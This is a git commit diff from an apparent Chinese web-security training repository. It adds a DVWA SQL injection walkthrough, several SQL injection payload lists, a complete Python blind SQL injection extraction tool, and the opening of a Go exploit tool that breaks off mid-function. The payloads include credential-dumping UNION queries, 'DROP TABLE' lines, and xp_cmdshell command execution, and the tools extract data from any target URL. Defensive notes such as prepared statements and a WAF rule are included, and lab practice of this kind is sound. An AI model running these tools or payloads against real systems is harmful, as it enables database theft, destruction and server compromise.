初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh
这个提交包含在:
@@ -0,0 +1,261 @@
|
||||
# DVWA SQL 注入漏洞利用
|
||||
|
||||
## 1. 漏洞概述
|
||||
|
||||
**靶场**: DVWA (Damn Vulnerable Web Application)
|
||||
**漏洞类型**: SQL 注入
|
||||
**难度级别**: Low / Medium / High / Impossible
|
||||
**影响**: 可提取数据库所有数据,包括用户凭证
|
||||
|
||||
## 2. 环境准备
|
||||
|
||||
### 2.1 启动靶场
|
||||
|
||||
```bash
|
||||
cd /Users/x/websafe/00-environments
|
||||
docker-compose up -d dvwa
|
||||
```
|
||||
|
||||
### 2.2 访问地址
|
||||
|
||||
- URL: `http://localhost:8080/vulnerabilities/sqli/`
|
||||
- 默认账户: `admin / password`
|
||||
|
||||
### 2.3 数据库结构
|
||||
|
||||
```sql
|
||||
dvwa.users
|
||||
├── user_id (int)
|
||||
├── first_name (varchar)
|
||||
├── last_name (varchar)
|
||||
├── user (varchar)
|
||||
├── password (varchar)
|
||||
├── avatar (varchar)
|
||||
├── last_login (timestamp)
|
||||
└── failed_login (int)
|
||||
```
|
||||
|
||||
## 3. Low 级别 - 经典注入
|
||||
|
||||
### 3.1 漏洞代码
|
||||
|
||||
```php
|
||||
<?php
|
||||
$id = $_GET['id'];
|
||||
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
|
||||
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
|
||||
?>
|
||||
```
|
||||
|
||||
### 3.2 手动利用
|
||||
|
||||
#### 步骤 1: 确认注入点
|
||||
|
||||
```
|
||||
?id=1' AND '1'='1 // 正常显示
|
||||
?id=1' AND '1'='2 // 无数据显示 → 存在注入
|
||||
```
|
||||
|
||||
#### 步骤 2: 确定列数
|
||||
|
||||
```
|
||||
?id=1' ORDER BY 1-- - // 正常
|
||||
?id=1' ORDER BY 2-- - // 正常
|
||||
?id=1' ORDER BY 3-- - // 报错 → 2列
|
||||
```
|
||||
|
||||
#### 步骤 3: UNION 注入
|
||||
|
||||
```
|
||||
?id=-1' UNION SELECT 1,2-- -
|
||||
```
|
||||
|
||||
#### 步骤 4: 提取数据库信息
|
||||
|
||||
```
|
||||
?id=-1' UNION SELECT database(),user()-- -
|
||||
// 结果: dvwa, dvwa@localhost
|
||||
```
|
||||
|
||||
#### 步骤 5: 提取表名
|
||||
|
||||
```
|
||||
?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
|
||||
// 结果: guestbook,users
|
||||
```
|
||||
|
||||
#### 步骤 6: 提取列名
|
||||
|
||||
```
|
||||
?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
|
||||
// 结果: user_id,first_name,last_name,user,password,avatar...
|
||||
```
|
||||
|
||||
#### 步骤 7: 提取用户数据
|
||||
|
||||
```
|
||||
?id=-1' UNION SELECT user,password FROM users-- -
|
||||
// 结果:
|
||||
// admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
|
||||
// gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123)
|
||||
```
|
||||
|
||||
### 3.3 工具利用
|
||||
|
||||
```bash
|
||||
# 使用扫描器检测
|
||||
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
|
||||
-u "http://localhost:8080/vulnerabilities/sqli/" \
|
||||
-p id \
|
||||
-c "PHPSESSID=your_session;security=low"
|
||||
|
||||
# 使用盲注工具提取
|
||||
python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \
|
||||
-u "http://localhost:8080/vulnerabilities/sqli/" \
|
||||
-p id \
|
||||
-c "PHPSESSID=your_session;security=low" \
|
||||
--technique bool \
|
||||
--extract user
|
||||
|
||||
# 使用高性能Go工具
|
||||
cd /Users/x/websafe/01-sql-injection/tools
|
||||
go run sqli-exploit.go \
|
||||
-u "http://localhost:8080/vulnerabilities/sqli/" \
|
||||
-p id \
|
||||
--technique time \
|
||||
--extract user
|
||||
```
|
||||
|
||||
## 4. Medium 级别 - POST 注入
|
||||
|
||||
### 4.1 漏洞代码
|
||||
|
||||
```php
|
||||
<?php
|
||||
$id = $_POST['id'];
|
||||
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
|
||||
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
|
||||
?>
|
||||
```
|
||||
|
||||
### 4.2 利用方式
|
||||
|
||||
- 使用 POST 方法
|
||||
- 数字型注入(无需引号)
|
||||
- `mysqli_real_escape_string` 不防护数字型
|
||||
|
||||
```
|
||||
POST /vulnerabilities/sqli/ HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
id=1 UNION SELECT user,password FROM users-- -
|
||||
```
|
||||
|
||||
### 4.3 工具利用
|
||||
|
||||
```bash
|
||||
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
|
||||
-u "http://localhost:8080/vulnerabilities/sqli/" \
|
||||
-m POST \
|
||||
-d "id=1" \
|
||||
-c "PHPSESSID=your_session;security=medium"
|
||||
```
|
||||
|
||||
## 5. High 级别 - 限制返回
|
||||
|
||||
### 5.1 漏洞代码
|
||||
|
||||
```php
|
||||
<?php
|
||||
$id = $_SESSION['id'];
|
||||
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";
|
||||
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
|
||||
?>
|
||||
```
|
||||
|
||||
### 5.2 利用方式
|
||||
|
||||
- 通过 Session 传递参数
|
||||
- 使用 LIMIT 1 限制
|
||||
- 可用 `#` 或 `-- -` 绕过 LIMIT
|
||||
|
||||
```
|
||||
?id=1' UNION SELECT user,password FROM users#
|
||||
```
|
||||
|
||||
## 6. Impossible 级别 - 安全实现
|
||||
|
||||
### 6.1 安全代码
|
||||
|
||||
```php
|
||||
<?php
|
||||
$id = $_GET['id'];
|
||||
$id = stripslashes($id);
|
||||
$id = mysql_real_escape_string($id);
|
||||
|
||||
if (is_numeric($id)) {
|
||||
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
|
||||
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
### 6.2 防护措施
|
||||
|
||||
1. **CSRF Token** - 防止跨站请求伪造
|
||||
2. **预处理语句** - 使用 PDO/mysqli prepared statements
|
||||
3. **输入验证** - `is_numeric()` 验证
|
||||
4. **输出转义** - htmlspecialchars()
|
||||
|
||||
## 7. 完整利用脚本
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
|
||||
target = "http://localhost:8080/vulnerabilities/sqli/"
|
||||
cookies = {"PHPSESSID": "your_session", "security": "low"}
|
||||
|
||||
payload = "-1' UNION SELECT user,password FROM users-- -"
|
||||
|
||||
r = requests.get(f"{target}?id={payload}", cookies=cookies)
|
||||
print(r.text)
|
||||
```
|
||||
|
||||
## 8. 防御方案
|
||||
|
||||
### 8.1 预处理语句 (PDO)
|
||||
|
||||
```php
|
||||
<?php
|
||||
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
|
||||
$stmt->execute([$_GET['id']]);
|
||||
?>
|
||||
```
|
||||
|
||||
### 8.2 mysqli 预处理
|
||||
|
||||
```php
|
||||
<?php
|
||||
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user_id = ?");
|
||||
$stmt->bind_param("s", $_GET['id']);
|
||||
$stmt->execute();
|
||||
?>
|
||||
```
|
||||
|
||||
### 8.3 WAF 规则
|
||||
|
||||
```nginx
|
||||
# ModSecurity 规则
|
||||
SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \
|
||||
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
|
||||
```
|
||||
|
||||
## 9. 总结
|
||||
|
||||
| 级别 | 注入类型 | 防护 | 难度 |
|
||||
|------|---------|------|------|
|
||||
| Low | GET 字符串型 | 无 | 简单 |
|
||||
| Medium | POST 数字型 | 转义 | 中等 |
|
||||
| High | Session + LIMIT | 限制返回 | 中等 |
|
||||
| Impossible | 无 | 预处理 + CSRF | 安全 |
|
||||
@@ -0,0 +1,29 @@
|
||||
' OR '1'='1
|
||||
' OR '1'='1'-- -
|
||||
' OR 1=1--
|
||||
1' OR '1'='1
|
||||
admin'--
|
||||
' AND 1=1--
|
||||
' UNION SELECT NULL--
|
||||
' UNION SELECT 1,2,3--
|
||||
' UNION SELECT username,password,3 FROM users--
|
||||
'; DROP TABLE users--
|
||||
' WAITFOR DELAY '0:0:5'--
|
||||
' WAITFOR DELAY '0:0:5'-- -
|
||||
'; IF 1=1 WAITFOR DELAY '0:0:5'--
|
||||
'; IF (SELECT 1)=1 WAITFOR DELAY '0:0:5'--
|
||||
' AND 1=CONVERT(int,(SELECT @@version))--
|
||||
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
|
||||
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--
|
||||
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
|
||||
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
|
||||
' UNION SELECT NULL,username+'|'+password,NULL FROM users--
|
||||
' EXEC xp_cmdshell('whoami')--
|
||||
'; EXEC xp_cmdshell('dir')--
|
||||
' EXEC sp_executesql N'SELECT 1'--
|
||||
1 AND 1=1
|
||||
1 AND 1=2
|
||||
1 OR 1=1
|
||||
') OR ('1'='1
|
||||
') AND 1=1--
|
||||
') AND 1=2--
|
||||
@@ -0,0 +1,57 @@
|
||||
' OR '1'='1
|
||||
' OR '1'='1'-- -
|
||||
' OR '1'='1'/*
|
||||
' OR 1=1--
|
||||
' OR 1=1-- -
|
||||
' OR 1=1/*
|
||||
1' OR '1'='1
|
||||
1' OR '1'='1'-- -
|
||||
1' OR '1'='1'/*
|
||||
admin'--
|
||||
admin'-- -
|
||||
admin'/*
|
||||
' AND 1=1--
|
||||
' AND 1=1-- -
|
||||
' AND 1=2--
|
||||
' AND 1=2-- -
|
||||
' UNION SELECT NULL--
|
||||
' UNION SELECT NULL-- -
|
||||
' UNION SELECT NULL, NULL--
|
||||
' UNION SELECT NULL, NULL, NULL--
|
||||
' UNION SELECT 1,2,3--
|
||||
' UNION SELECT username,password,3 FROM users--
|
||||
' UNION ALL SELECT NULL--
|
||||
' UNION ALL SELECT 1,2,3--
|
||||
1' ORDER BY 1-- -
|
||||
1' ORDER BY 2-- -
|
||||
1' ORDER BY 3-- -
|
||||
1' ORDER BY 4-- -
|
||||
-1' UNION SELECT 1,2,3-- -
|
||||
-1' UNION SELECT username,password,3 FROM users-- -
|
||||
' AND SLEEP(5)--
|
||||
' AND SLEEP(5)-- -
|
||||
' AND IF(1=1,SLEEP(5),0)--
|
||||
' AND IF(1=1,SLEEP(5),0)-- -
|
||||
' AND BENCHMARK(10000000,SHA1('test'))--
|
||||
' AND BENCHMARK(10000000,SHA1('test'))-- -
|
||||
' WAITFOR DELAY '0:0:5'--
|
||||
' WAITFOR DELAY '0:0:5'-- -
|
||||
' AND pg_sleep(5)--
|
||||
' AND pg_sleep(5)-- -
|
||||
'; DROP TABLE users--
|
||||
'; DROP TABLE users-- -
|
||||
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
|
||||
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
|
||||
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--
|
||||
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
|
||||
1 AND 1=1
|
||||
1 AND 1=2
|
||||
1 OR 1=1
|
||||
1' AND '1'='1
|
||||
1' AND '1'='2
|
||||
" OR "1"="1
|
||||
" OR 1=1--
|
||||
') OR ('1'='1
|
||||
') OR ('1'='1'-- -
|
||||
') AND 1=1--
|
||||
') AND 1=2--
|
||||
@@ -0,0 +1,27 @@
|
||||
' OR '1'='1
|
||||
' OR '1'='1'-- -
|
||||
' OR 1=1--
|
||||
1' OR '1'='1
|
||||
admin'--
|
||||
' AND 1=1--
|
||||
' UNION SELECT NULL--
|
||||
' UNION SELECT 1,2,3--
|
||||
' UNION SELECT username,password,3 FROM users--
|
||||
'; DROP TABLE users--
|
||||
' AND pg_sleep(5)--
|
||||
' AND pg_sleep(5)-- -
|
||||
'; SELECT pg_sleep(5)--
|
||||
' UNION SELECT NULL,version(),NULL--
|
||||
' UNION SELECT NULL,current_database(),NULL--
|
||||
' UNION SELECT NULL,current_user,NULL--
|
||||
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
|
||||
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
|
||||
' AND 1=CAST((SELECT version()) AS INT)--
|
||||
' AND 1=CAST((SELECT current_database()) AS INT)--
|
||||
' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--
|
||||
1 AND 1=1
|
||||
1 AND 1=2
|
||||
1 OR 1=1
|
||||
') OR ('1'='1
|
||||
') AND 1=1--
|
||||
') AND 1=2--
|
||||
387
01-sql-injection/tools/blind-sqli.py
普通文件
387
01-sql-injection/tools/blind-sqli.py
普通文件
@@ -0,0 +1,387 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Blind SQL Injection Exploit Tool
|
||||
盲注利用工具
|
||||
|
||||
支持:
|
||||
- 时间盲注 (Time-based Blind)
|
||||
- 布尔盲注 (Boolean-based Blind)
|
||||
- 自动数据提取
|
||||
- 多线程加速
|
||||
|
||||
Usage:
|
||||
# 时间盲注提取数据库名
|
||||
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql
|
||||
|
||||
# 布尔盲注提取表名
|
||||
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1"
|
||||
|
||||
# 提取当前数据库用户
|
||||
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import time
|
||||
import string
|
||||
import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from typing import Callable, Optional, List
|
||||
import sys
|
||||
|
||||
|
||||
class Colors:
|
||||
RED = "\033[91m"
|
||||
GREEN = "\033[92m"
|
||||
YELLOW = "\033[93m"
|
||||
BLUE = "\033[94m"
|
||||
CYAN = "\033[96m"
|
||||
END = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
|
||||
|
||||
class BlindSQLi:
|
||||
def __init__(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str = "GET",
|
||||
data: dict = None,
|
||||
cookies: dict = None,
|
||||
delay: float = 1.0,
|
||||
threads: int = 1,
|
||||
):
|
||||
self.url = url
|
||||
self.param = param
|
||||
self.method = method
|
||||
self.data = data or {}
|
||||
self.cookies = cookies or {}
|
||||
self.delay = delay
|
||||
self.threads = threads
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(
|
||||
{
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}
|
||||
)
|
||||
self.charset = string.ascii_letters + string.digits + "_-@.{}"
|
||||
|
||||
self.mysql_payloads = {
|
||||
"time": {
|
||||
"if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -",
|
||||
"case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -",
|
||||
},
|
||||
"bool": {
|
||||
"if": "1' AND IF({condition},1,0)-- -",
|
||||
"and": "1' AND {condition}-- -",
|
||||
},
|
||||
}
|
||||
|
||||
self.mssql_payloads = {
|
||||
"time": {
|
||||
"if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -",
|
||||
},
|
||||
"bool": {
|
||||
"if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
|
||||
},
|
||||
}
|
||||
|
||||
self.pg_payloads = {
|
||||
"time": {
|
||||
"case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -",
|
||||
},
|
||||
"bool": {
|
||||
"case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
|
||||
},
|
||||
}
|
||||
|
||||
self.payloads = {
|
||||
"mysql": self.mysql_payloads,
|
||||
"mssql": self.mssql_payloads,
|
||||
"postgresql": self.pg_payloads,
|
||||
}
|
||||
|
||||
self.extract_queries = {
|
||||
"mysql": {
|
||||
"user": "SELECT user()",
|
||||
"database": "SELECT database()",
|
||||
"version": "SELECT version()",
|
||||
"tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()",
|
||||
"columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'",
|
||||
"data": "SELECT {column} FROM {table} LIMIT {offset},1",
|
||||
},
|
||||
"mssql": {
|
||||
"user": "SELECT SYSTEM_USER",
|
||||
"database": "SELECT DB_NAME()",
|
||||
"version": "SELECT @@version",
|
||||
},
|
||||
"postgresql": {
|
||||
"user": "SELECT current_user",
|
||||
"database": "SELECT current_database()",
|
||||
"version": "SELECT version()",
|
||||
},
|
||||
}
|
||||
|
||||
def _send_request(self, payload: str) -> tuple:
|
||||
"""发送请求并返回(响应内容, 响应时间)"""
|
||||
test_data = self.data.copy()
|
||||
test_data[self.param] = payload
|
||||
|
||||
try:
|
||||
start = time.time()
|
||||
if self.method.upper() == "GET":
|
||||
params = urllib.parse.urlencode(test_data)
|
||||
full_url = f"{self.url}?{params}"
|
||||
resp = self.session.get(
|
||||
full_url, cookies=self.cookies, timeout=30, verify=False
|
||||
)
|
||||
else:
|
||||
resp = self.session.post(
|
||||
self.url,
|
||||
data=test_data,
|
||||
cookies=self.cookies,
|
||||
timeout=30,
|
||||
verify=False,
|
||||
)
|
||||
elapsed = time.time() - start
|
||||
return resp.text, elapsed
|
||||
except Exception as e:
|
||||
return None, 0
|
||||
|
||||
def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool:
|
||||
"""使用时间盲注测试条件"""
|
||||
payloads = self.payloads.get(dbms, self.mysql_payloads)
|
||||
template = payloads["time"].get("if") or payloads["time"].get("case")
|
||||
if not template:
|
||||
return False
|
||||
|
||||
payload = template.format(condition=condition, delay=int(self.delay))
|
||||
_, elapsed = self._send_request(payload)
|
||||
return elapsed >= self.delay - 0.5
|
||||
|
||||
def test_condition_bool(
|
||||
self,
|
||||
condition: str,
|
||||
true_indicator: str = None,
|
||||
false_indicator: str = None,
|
||||
dbms: str = "mysql",
|
||||
) -> bool:
|
||||
"""使用布尔盲注测试条件"""
|
||||
payloads = self.payloads.get(dbms, self.mysql_payloads)
|
||||
template = payloads["bool"].get("if") or payloads["bool"].get("and")
|
||||
if not template:
|
||||
return False
|
||||
|
||||
payload = template.format(condition=condition)
|
||||
response, _ = self._send_request(payload)
|
||||
|
||||
if not response:
|
||||
return False
|
||||
|
||||
if true_indicator and false_indicator:
|
||||
return true_indicator.lower() in response.lower()
|
||||
|
||||
payload_false = template.format(condition="1=0")
|
||||
response_false, _ = self._send_request(payload_false)
|
||||
|
||||
if not response_false:
|
||||
return False
|
||||
|
||||
return abs(len(response) - len(response_false)) > 50
|
||||
|
||||
def binary_search_char(
|
||||
self,
|
||||
position: int,
|
||||
query: str,
|
||||
technique: str = "time",
|
||||
dbms: str = "mysql",
|
||||
true_indicator: str = None,
|
||||
) -> Optional[str]:
|
||||
"""二分法查找字符"""
|
||||
low, high = 32, 126
|
||||
|
||||
test_func = (
|
||||
self.test_condition_time
|
||||
if technique == "time"
|
||||
else self.test_condition_bool
|
||||
)
|
||||
|
||||
while low <= high:
|
||||
mid = (low + high) // 2
|
||||
condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
|
||||
|
||||
if technique == "bool":
|
||||
result = test_func(condition, true_indicator, None, dbms)
|
||||
else:
|
||||
result = test_func(condition, dbms)
|
||||
|
||||
if result:
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid - 1
|
||||
|
||||
if low > 32:
|
||||
condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}"
|
||||
if technique == "bool":
|
||||
result = test_func(condition, true_indicator, None, dbms)
|
||||
else:
|
||||
result = test_func(condition, dbms)
|
||||
|
||||
if result:
|
||||
return chr(low - 1)
|
||||
|
||||
return None
|
||||
|
||||
def extract_string(
|
||||
self,
|
||||
query: str,
|
||||
technique: str = "time",
|
||||
dbms: str = "mysql",
|
||||
max_length: int = 100,
|
||||
true_indicator: str = None,
|
||||
) -> str:
|
||||
"""提取字符串"""
|
||||
result = []
|
||||
|
||||
print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}")
|
||||
print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n")
|
||||
|
||||
for pos in range(1, max_length + 1):
|
||||
char = self.binary_search_char(pos, query, technique, dbms, true_indicator)
|
||||
|
||||
if char is None:
|
||||
break
|
||||
|
||||
result.append(char)
|
||||
current = "".join(result)
|
||||
print(
|
||||
f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True
|
||||
)
|
||||
|
||||
print()
|
||||
return "".join(result)
|
||||
|
||||
def extract_length(
|
||||
self, query: str, technique: str = "time", dbms: str = "mysql"
|
||||
) -> int:
|
||||
"""提取字符串长度"""
|
||||
for length in range(1, 1000):
|
||||
condition = f"LENGTH(({query}))={length}"
|
||||
|
||||
if technique == "time":
|
||||
if self.test_condition_time(condition, dbms):
|
||||
return length
|
||||
else:
|
||||
if self.test_condition_bool(condition, dbms=dbms):
|
||||
return length
|
||||
|
||||
return 0
|
||||
|
||||
def auto_extract(
|
||||
self, target: str, dbms: str = "mysql", technique: str = "time"
|
||||
) -> str:
|
||||
"""自动提取常用信息"""
|
||||
queries = self.extract_queries.get(dbms, self.extract_queries["mysql"])
|
||||
|
||||
if target not in queries:
|
||||
self._print("ERROR", f"未知的提取目标: {target}")
|
||||
return ""
|
||||
|
||||
query = queries[target]
|
||||
return self.extract_string(query, technique, dbms)
|
||||
|
||||
def _print(self, level: str, msg: str):
|
||||
colors = {
|
||||
"INFO": Colors.BLUE,
|
||||
"SUCCESS": Colors.GREEN,
|
||||
"WARNING": Colors.YELLOW,
|
||||
"ERROR": Colors.RED,
|
||||
}
|
||||
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool")
|
||||
parser.add_argument("-u", "--url", required=True, help="目标URL")
|
||||
parser.add_argument("-p", "--param", required=True, help="注入参数")
|
||||
parser.add_argument(
|
||||
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
|
||||
)
|
||||
parser.add_argument("-d", "--data", help="POST数据")
|
||||
parser.add_argument("-c", "--cookie", help="Cookie")
|
||||
parser.add_argument(
|
||||
"--technique", default="time", choices=["time", "bool"], help="盲注技术"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--dbms",
|
||||
default="mysql",
|
||||
choices=["mysql", "mssql", "postgresql"],
|
||||
help="数据库类型",
|
||||
)
|
||||
parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)")
|
||||
parser.add_argument("--query", help="自定义SQL查询")
|
||||
parser.add_argument(
|
||||
"--extract",
|
||||
choices=["user", "database", "version", "tables", "columns"],
|
||||
help="自动提取信息",
|
||||
)
|
||||
parser.add_argument("--true-indicator", help="布尔盲注真值指示器")
|
||||
parser.add_argument("-t", "--threads", type=int, default=1, help="线程数")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
data = {}
|
||||
if args.data:
|
||||
for pair in args.data.split("&"):
|
||||
if "=" in pair:
|
||||
k, v = pair.split("=", 1)
|
||||
data[k] = v
|
||||
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
|
||||
exploit = BlindSQLi(
|
||||
url=args.url,
|
||||
param=args.param,
|
||||
method=args.method,
|
||||
data=data,
|
||||
cookies=cookies,
|
||||
delay=args.delay,
|
||||
threads=args.threads,
|
||||
)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
if args.query:
|
||||
result = exploit.extract_string(
|
||||
args.query, args.technique, args.dbms, true_indicator=args.true_indicator
|
||||
)
|
||||
print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
|
||||
|
||||
elif args.extract:
|
||||
result = exploit.auto_extract(args.extract, args.dbms, args.technique)
|
||||
print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
|
||||
|
||||
else:
|
||||
print(
|
||||
f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
|
||||
)
|
||||
print(f"\n示例:")
|
||||
print(f" --extract user 提取当前用户")
|
||||
print(f" --extract database 提取当前数据库")
|
||||
print(f" --extract version 提取数据库版本")
|
||||
print(f' --query "SELECT password FROM users LIMIT 1"')
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,324 @@
|
||||
// sqli-exploit.go - 高性能SQL注入利用工具
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type SQLiExploit struct {
|
||||
Client *http.Client
|
||||
TargetURL string
|
||||
Method string
|
||||
Param string
|
||||
Threads int
|
||||
Timeout time.Duration
|
||||
}
|
||||
|
||||
type InjectionResult struct {
|
||||
Payload string
|
||||
VulnType string
|
||||
DBMS string
|
||||
ResponseLen int
|
||||
}
|
||||
|
||||
var (
|
||||
colorRed = "\033[91m"
|
||||
colorGreen = "\033[92m"
|
||||
colorYellow = "\033[93m"
|
||||
colorBlue = "\033[94m"
|
||||
colorCyan = "\033[96m"
|
||||
colorBold = "\033[1m"
|
||||
colorEnd = "\033[0m"
|
||||
)
|
||||
|
||||
func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit {
|
||||
return &SQLiExploit{
|
||||
Client: &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
},
|
||||
TargetURL: target,
|
||||
Method: method,
|
||||
Param: param,
|
||||
Threads: threads,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
|
||||
var req *http.Request
|
||||
var err error
|
||||
|
||||
targetURL := s.TargetURL
|
||||
|
||||
if s.Method == "GET" {
|
||||
u, _ := url.Parse(targetURL)
|
||||
q := u.Query()
|
||||
q.Set(s.Param, payload)
|
||||
u.RawQuery = q.Encode()
|
||||
req, err = http.NewRequest("GET", u.String(), nil)
|
||||
} else {
|
||||
data := url.Values{}
|
||||
data.Set(s.Param, payload)
|
||||
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return string(body), len(body), nil
|
||||
}
|
||||
|
||||
func (s *SQLiExploit) TestTimeBased(payloads []struct {
|
||||
Payload string
|
||||
DBMS string
|
||||
Delay time.Duration
|
||||
}) []InjectionResult {
|
||||
var results []InjectionResult
|
||||
var mu sync.Mutex
|
||||
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, s.Threads)
|
||||
|
||||
for _, p := range payloads {
|
||||
wg.Add(1)
|
||||
go func(payload, dbms string, delay time.Duration) {
|
||||
defer wg.Done()
|
||||
sem <- struct{}{}
|
||||
defer func() { <-sem }()
|
||||
|
||||
start := time.Now()
|
||||
_, respLen, err := s.SendRequest(payload)
|
||||
elapsed := time.Since(start)
|
||||
|
||||
if err == nil && elapsed >= delay-500*time.Millisecond {
|
||||
mu.Lock()
|
||||
results = append(results, InjectionResult{
|
||||
Payload: payload,
|
||||
VulnType: "Time-based Blind",
|
||||
DBMS: dbms,
|
||||
ResponseLen: respLen,
|
||||
})
|
||||
mu.Unlock()
|
